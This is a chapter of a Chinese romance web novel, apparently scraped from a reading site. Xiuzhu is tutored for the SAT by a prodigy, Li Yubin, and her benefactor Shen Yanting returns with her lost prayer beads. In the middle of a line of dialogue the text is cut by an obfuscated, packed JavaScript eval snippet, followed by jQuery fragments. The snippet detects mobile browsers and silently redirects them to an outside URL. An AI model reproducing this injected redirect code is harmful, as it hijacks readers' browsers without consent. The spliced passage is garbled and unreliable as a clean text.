万书库 > 都市小说 > 南洋热 > 19.护身符
    工欲善其事,必先利其器。


    在秀珠这里,“器”就是身体。


    自从上次在大马路上被飞车党暴打了一顿,她就突然养成了健身的习惯。


    每天早上绕着中央公园跑十公里,回家再练习一个小时的器械。


    沈彦廷的房子里,有一间健身室,器械靠墙排列,从跑步机到划船机,从哑铃架到多功能训练凳,家用健身器材一应俱全。


    她想,放着也是浪费,撸铁也不会把铁练坏啊。


    这天,她跑完十公里回来,头发用发带束在脑后,碎发贴在太阳穴和耳侧,汗涔涔地走入大厅。


    她一边用毛巾擦汗,一边往电梯方向走。


    管家从走廊那头走过来,微微欠身:“郑小姐,有客人来访。”


    秀珠顺着管家的目光看向旁边沙发,一个年轻男人坐在那里,大约二十出头,穿着深灰色的西装,剪着利落的短发。


    他的脊背挺得很直,手里捧着一本厚厚的书,从秀珠走进大厅到擦汗走近,他的目光一直黏在书页上,像是被胶水粘住了。


    即使他要等的人已经出现,他一时间都没有办法从书本上挪开目光。


    秀珠走过去,毛巾搭在脖子上,运动后的热气从她身上蒸腾起来。


    “你好,你是要找我吗?”


    男人抬起头,露出一张秀气的娃娃脸。他的皮肤很白,眼睛不大但很亮,鼻梁上架着一副银框眼镜。


    他合上书本,站起身,比秀珠高了半个头,但肩膀不算宽,整个人看起来像一棵还没完全长开的小白杨。


    “沈小姐你好,我是李裕彬,受六先生所托,担任你的私人教师。”


    沈彦廷竟然为她请了私人教师!


    秀珠又惊又喜,又有点无所适从。


    她赶紧把手里的毛巾攥了攥,不自觉地往后退了小半步,侧身引路,把李裕彬邀请上去。


    电梯里很安静,镜面墙壁上映出两个人的影子。


    秀珠礼貌地开口:“六先生请你教我,是怎么算课时费的呀?”她在心里盘算着自己能不能付得起。


    “免费。”李裕彬回答得一本正经,目光平视前方。


    “免费?你是他的朋友吗?”


    “你是十万个为什么吗?”


    秀珠脸一红,不敢再细问。


    电梯门开了,秀珠走在前面,弯腰从鞋柜里拿出一双全新的男式拖鞋,摆在地毯边上。


    李裕彬婉拒:“不用麻烦,我带了鞋套。”


    秀珠看了看拖鞋:“啊,拖鞋更方便吧,都是新的。”


    “不必了,对于我来说鞋套更方便,我更自在。”李裕彬蹲下来,从背后的双肩包里掏出一副蓝色的鞋套,不紧不慢地套在皮鞋上。


    秀珠站在一旁,默默地把拖鞋放回了鞋柜。


    李裕彬礼貌地环顾了四周,偌大的空间在午后阳光下显得通透而安静,落地窗外是中央公园的树梢,远处的高楼像一排沉默的巨人。


    秀珠正想给他介绍房子的结构,他却直接问:“书房在哪里?我看客厅的书桌就不错,我们在这里进行也可以。”


    客厅是横厅的结构,沙发背后是一张巨大的实木书桌,桌面上只放了一盏铜灯和一支笔筒。


    秀珠没有意见,但她低头看了看自己。


    “我刚刚跑完步,身上有点味道,能麻烦您等我一下吗?我换身衣服就来。”


    “你可以洗完澡再出来,我抽点时间备课。”李裕彬走到书桌后面,把书放下,从双肩包里一本一本地往外掏教材,“事实上,你洗个澡比较好。出了汗直接换身衣服,等于没换。”


    秀珠读懂了他语言里的嫌弃。


    “好的。那您等我半个小时,我帮您先倒杯咖啡。”


    “不用了,我带了水杯。”他从书包里拿出了一只银色的保温杯。


    秀珠默默地把去往厨房的脚收了回来。


    见到他如此客气和专业,秀珠不敢再耽搁,迅速进屋洗澡换衣服。


    她走进卧室,反手把门反锁关上。


    她长了一个心眼。


    她没有核实李裕彬的身份,虽然第六感告诉她这个人没问题,但经历了街头被揍,她现在的警惕心非常高。


    多此一举总比为时已晚要好。


    洗完澡,换了一身干净的衣服,她抱起自己那一摞学习资料回到了客厅。


    大约三米长的书桌,足够他们共用了。


    李裕彬已经占了一角,面前摊着几本书和一台笔记本电脑,手边放着一个计时器。


    秀珠把资料放在他对面,拉开椅子坐下。


    “这是我之前的学习资料。”她觉得有必要让他了解一下自己的基础。


    李裕彬点点头,接过去,一页一页地翻。


    他翻页的动作很快,不像是在“读”,更像是在“扫描”。


    翻完了整摞资料,他没有评价,而是从自己的书堆里抽出一张A3纸推到秀珠面前。


    “这是我出的试卷。你做一下,计时一个小时。”


    秀珠郑重接过,她快速扫了一遍,数学、阅读、语法、写作,SAT的题型基本都覆盖了。


    李裕彬他把计时器立在秀珠面前,正对着她。


    “开始。”


    秀珠深吸一口气,坐正了身体,埋头开始做题。


    在她做题的时候,李裕彬也没有闲着,他在给她写辅导大纲。


    客厅里只剩下笔尖摩擦纸面的沙沙声。


    窗外又开始下雪,雪花从灰蒙蒙的天空飘下来,一片一片地落在落地窗上,融化,留下一道细细的水痕。


    一个小时过去,计时器响了。


    秀珠放下笔,活动了一下发酸的手腕,把试卷递过去。


    李裕彬换了一支红笔,开始批改。


    秀珠忍不住问:“答案呢?给我看看。”


    李裕彬指了指自己的太阳穴:“在这里。”


    秀珠看着他那张没什么表情的娃娃脸,肃然起敬。


    一百分的试卷,秀珠堪堪及格,六十八分。


    她低下头,看着试卷上那些被红笔圈出来的错误,惭愧得耳朵都红了。


    李裕彬收起红笔,把试卷翻过来扣在桌上。


    “不错。”他说。


    秀珠抬起头,以为他在安慰她。


    “我的教学将面临很大的挑战。”


    秀珠:“……”


    “给您添麻烦了。”她小声说。


    “不用客气。”李裕彬说,“我俩同岁,你喊我李老师就好了。”


    “哈?”秀珠震惊地瞪大了眼睛,“为什么不是喊你裕彬?”


    李裕彬同样露出震惊的神色,一直没什么表情的娃娃脸上终于出现了裂痕,他的眉毛微微扬起,眼睛睁大了一点。


    “我即将拿到PHD,”他说,“你凭什么?”


    秀珠闭上了嘴。


    “好的,李老师。”


    同岁的李老师是一个古怪的家伙。


    古怪是个中性词。


    李裕彬在智商上完全可以碾压秀珠,但他辅导课业却是有条不紊,循序渐进。


    纵然是秀珠这样基础不牢的同学,在李老师的辅导下,依然可以每节课收获不小的成就感。


    李裕彬每周给她补习两天,从早上九点到晚上九点。十二个小时,中间休息两次,每次半小时。


    有一次,秀珠打开门,看到他半边身子都湿透了。


    深色西装上有一大片水渍,从肩膀一直蔓延到腰际,左边的裤腿也湿了半截,皮鞋上沾着泥和雪。


    她以为他也被抢劫了。


    “骑车摔了。”李裕彬一边摘眼镜一边说,“还好是摔在路边的雪坑里。”


    秀珠赶紧把他让进来,跑去拿了干毛巾和沈彦廷的衣服。


    沈彦廷的衬衫挂在他身上,肩线宽出了一截,袖口要卷一下才能露出手指,整个人看起来像是偷穿了大人的衣服。


    换下正经的西装,秀珠才看清楚,李老师是真的和她同岁。


    秀珠的厨艺不错,严以律己的李老师虽然不拿学生的一针一线,但饭是要吃的。


    “我不收你的课时费,不代表我要饿着肚子回去。”他说这话的时候正在喝汤,表情一本正经。


    秀珠觉得他说得有道理。


    吃完饭,秀珠给他泡了一杯茶。


    两人坐在客厅的沙发上,落地窗外是中央公园的雪景,屋内暖气充足,茶杯冒着热气。


    不知怎么的,话题聊到了沈彦廷。


    “他资助了我十年。”李裕彬端着茶杯,镜片后面起了一层薄雾,像是他眼睛里透出来的,但其实是茶的蒸气,“再有半年,我终于可以回报他了。”


    秀珠坐到他对面,双手捧着杯子:“我不是沈小姐,我也是他资助的其中一个。你会失望吗?”


    李裕彬面露疑惑:“他跟我说是他的妹妹,也没说是亲妹妹,是我想当然了。”


    “你说到报答——怎么报答?”这是她一直在思考的问题。她欠沈彦廷太多了,把命搭上大概也还不完。但命只有一条,搭上了,然后呢?


    “我目前在帮六先生管理两个基金会。等我博士毕业后,大概会去沈氏电子上班。”李裕彬的语气像是在做年终述职,“六先生提到电子公司缺乏专业人才,所以我当初才选择了半导体专业。应该可以帮上忙。”


    秀珠认真地看着他,他在说这些话的时候,眼睛是亮的,是一种找到了方向、知道自己要去哪里的笃定。


    “那我呢?”她追问,“你看我能帮他什么?”


    李裕彬没有轻视她,他上下打量了她一番。


    秀珠配合地坐正了身体。


    “你没有扎实的基础。我建议你去学企业管理。”李裕彬说,“沈氏企业版图很大,你学管理,应该可以派上用场。”


    秀珠思量了一下:“企业管理?其实我想学的……是服装设计。”


    李裕彬的脸色变得无语,他放下茶杯,靠回沙发,从鼻子里哼出一个音节。


    “艺术,呵。”


    “不要歧视艺术啦。我没有去拉夫劳伦上班前也搞不懂时尚,但现在我发现——”


    “停止发表你关于时尚的高论。”李裕彬打断了她,“休息好了我们就继续上课。”


    好吧。


    古怪是贬义词,意思是李老师很不尊重人。


    拉夫劳伦的同事们发现,玛格特最近不爱参加派对了,连聚餐都很少参加。


    以前安妮叫她喝酒,她会犹豫一下然后说“好”,现在连消息回复的速度都变慢了。


    秀珠没有瞒她们,说自己在准备SAT。


    安妮放下手里的咖啡杯,像在看一个外星人:“你考大学是为了什么?”


    “实现梦想。”秀珠把叠好的羊绒衫放回货架上,拍了拍上面的褶皱。


    莫妮卡探出头来:“万一你的梦想不能带给你像拉夫劳伦这样的工作呢?你想过吗?”


    秀珠思考了一下,手上的动作停了。


    “我接受这样的结果。”她郑重地说。


    众人散去。


    成年人不劝别人,因果自负。


    冬去春来。


    纽约不再下雪了,中央公园的树梢开始冒出新芽,第五大道上的行人脱掉了厚重的羽绒服,换上了薄外套。


    阳光照在脸上,不再是冬天的冷白色,而是带着一丝暖意的金黄。


    秀珠终于要走进考场了。


    前一天,李裕彬在收拾书本。


    他把教材摞成一摞,笔记本摞成一摞,把试卷夹进文件夹里,动作和他讲课一样有条不紊。


    从明天开始就不用上课了,他要把学习资料都回收,卖钱。


    “你……”秀珠刚刚开口。


    李裕彬头也没抬:“我不会去送考的。”


    秀珠吐了一口气:“我当然不是想求这个。”


    “那你说来听听。”李裕彬停下了手里的动作,抬起头看着她。


    秀珠搓了搓手,一脸期待地看着他:“你是博士,一定在考试方面有好运。那……我可以抱你一下蹭蹭好运吗?”


    李裕彬往后退了两步,不言自明。


    “好吧。我是你的学生,按理说也沾上你的光了。”她自我安慰道。


    李裕彬没有说话,继续低头整理书本。


    收完了东西,他拉上双肩包的拉链,走到门口换鞋。


    秀珠跟在他身后,在他弯腰系鞋带的时候,拍了拍他的肩膀,往他手心里塞了一个东西。


    李裕彬低头一看,是一个卡包。


    他怔了一下,不明白何意。


    “谢谢你,李老师。”秀珠退后一步,弯下腰,认认真真地给他鞠了一躬。


    李裕彬拿着那个卡包,手指摩挲了一下绒布面。


    “我不收你的东西。我答应六先生,这是免费的。”他把卡包递回来。


    秀珠把手背到了身后:“我这礼物也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553216|203805||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是免费的!你看,是我自己钩的,这么粗糙的针线,外面哪里会卖啊!”


    李裕彬举起来,对着走廊的灯光看了看。


    线头藏在里面,翻过来看,隐约能看到几处收针的痕迹。


    不是花钱买的,那就可以收。


    他把卡包揣进口袋,点了点头:“祝你明天好运。”


    “嗯!”


    秀珠送他到了电梯口。


    走廊里很安静,李裕彬站在那里,手指插在口袋里,目光落在电梯门上,又收回来。


    “你需要我的加持吗?”他忽然开口。


    问得有些迟疑以及……腼腆。


    秀珠咧嘴一笑,大大方方地展开双臂,走上前去,轻轻地抱了一下李裕彬。


    他的身体在她手臂圈过来的那一刻微微僵了一下,像一个被人突然触碰的含羞草。


    “李老师,一日为师——”


    “什么?”


    “终生为友。”


    李裕彬的眼镜片后面,一双不大的眼睛微微上扬,不太热烈,但很亮。


    “叮咚——”


    电梯门打开了。


    一个穿着深色风衣、手里拎着一只皮质手提箱的男人站在电梯里面。


    他的风衣领口竖着,露出里面白色的衬衫领。


    他的头发比走的时候短了一些,鬓角修得很干净,整张脸的线条更锋利了。


    电梯内的灯光从头顶照下来,在他眉骨下方投下一片阴影,让那双眼睛看起来更深、更暗。


    沈彦廷。


    他站在那里,目光从秀珠身上移到李裕彬身上,又从李裕彬身上移回秀珠身上。


    他的嘴角挂着一丝弧度,似笑非笑,看不出喜怒。


    拥抱着的两人缓缓用余光看过去,秀珠的手臂还搭在李裕彬的肩膀上。


    李裕彬率先推开了秀珠,用欣喜的目光注视着沈彦廷,眼睛里的光比刚才亮了不止一倍。


    “六先生!您怎么来了!”


    秀珠被他推得一个趔趄,手扶着墙才稳住,捂住受伤的心口:“李裕彬……”


    沈彦廷走出电梯,李裕彬的目光追随着他,像一颗被引力捕获的行星,视线里全是崇拜和兴奋。


    “你还不下去?”沈彦廷问道。


    李裕彬露出失落的神色,恋恋不舍地走入电梯,一只手扶着电梯门,半个身子探出来,还想再看一眼。


    “六先生,再见。”


    秀珠虽然被他推得心口疼,但此时也挥了挥手:“李裕彬,再见。”


    “是李老——”李裕彬辩解的话被关掉的电梯门隔绝开了,最后一个字闷在了电梯井里。


    走廊里只剩下秀珠和沈彦廷两个人。


    秀珠伸手去帮他拎箱子,动作自然得像光叔一直做的那样。


    “六先生,您饿不饿?”她拎起箱子,走在前面帮他开门,把箱子放在玄关,又转过头来,“我们吃了打卤面,要不要给您也做一碗?”


    沈彦廷没有回答。


    他进了门,身后的大门自动关上,锁舌咬进锁孔,发出轻微的咔嗒声。


    屋内确实有了人生活的痕迹,不再像一个高级样板房了。


    冷硬的黑色沙发上,放着她钩织的抱枕,米白色的,中间绣了一朵歪歪扭扭的小花。


    茶几上放着她钩织的纸巾盒,同样是米白色。


    书桌上,是她明天考试的笔袋。


    明明只添了几样东西,却可以勾勒出她生活在这里的样子。


    秀珠没有听到回答,放好了箱子,转过身来,发现他的目光正环视着屋内。


    “我是不是弄得很乱?”秀珠紧张地问道。


    沈彦廷从鞋柜里抽出自己的拖鞋:“你不问我为什么来吗?”


    秀珠怔了一下,脑子转了两圈,试探着说:“不是工作吗?”


    “一半是。”


    秀珠两只手交握在身前,手指无意识地绞着衣角,她有点紧张。


    她觉得还有一半大概和自己有关,但猜错了怎么办?


    会丢脸,会懊恼,重要的是,会空欢喜一场。


    “怎么不问下去了?”沈彦廷走过来,低头看着她的眼睛,“还是胆小鬼。”


    秀珠深吸一口气:“剩下一半呢?”


    “当然还是工作。”沈彦廷的眼睛里全是得逞的笑意,嘴角的弧度从似笑非笑变成了明明白白的促狭。


    秀珠:“……”


    “去帮我放洗澡水。”沈彦廷抬了抬下巴,“我的管家。”


    秀珠颠颠地跑去。


    浴室里,她弯腰试水温,热水从水龙头里涌出来,热气蒸得她的脸发红。


    她放好了浴缸里的水,又去找了干净的浴巾和睡衣,一一摆放在床上。


    走出来的时候,沈彦廷正站在落地窗前打电话,用的是英语。


    他的声音不大,语速不快。他说的是一个秀珠听不太懂的商业词汇,大概是在谈什么合作。


    秀珠低头看自己的脚,左脚踩着右脚。


    当然是工作啦。笨蛋。


    沈彦廷挂了电话,把手机放在茶几上:“你刚刚和李裕彬干什么呢?”


    秀珠抬起头,收起了脑子里那些乱七八糟的思绪:“他不是博士吗?我想让他传点幸运给我。”


    “能力不行还迷信。”


    “就是能力不行才迷信的。”


    果然书读得越多,嘴皮子越利索。


    “如果在马来亚,你是不是还要去求一个幸运符?”沈彦廷没有生气,反问道。


    秀珠的神色一下子低落了下去。


    她有的。独属于她的幸运符。


    那串佛珠,他亲手送给她的那串佛珠。她不舍得戴在腕上,怕磨损,总是放在包里。


    她如此珍惜,可它还是丢了。


    沈彦廷走到她面前来,他比她高很多,低头看她的时候,总会挡住她的一部分光线。


    “你再问一下刚刚的那个问题。”他催促道。


    秀珠露出疑惑的神色,准备问什么问题。


    “自己想。”他预判了她的问题。


    秀珠绞尽脑汁,回溯了一下刚刚的对话。


    她试探性地开口:“您这次是来干什么的?”


    沈彦廷掏出一个东西。


    秀珠眼前一晃,一串佛珠左摇右晃地出现在她面前。


    深褐色的珠子,在灯光下泛着温润的光泽。


    “来给胆小鬼送护身符。”他说。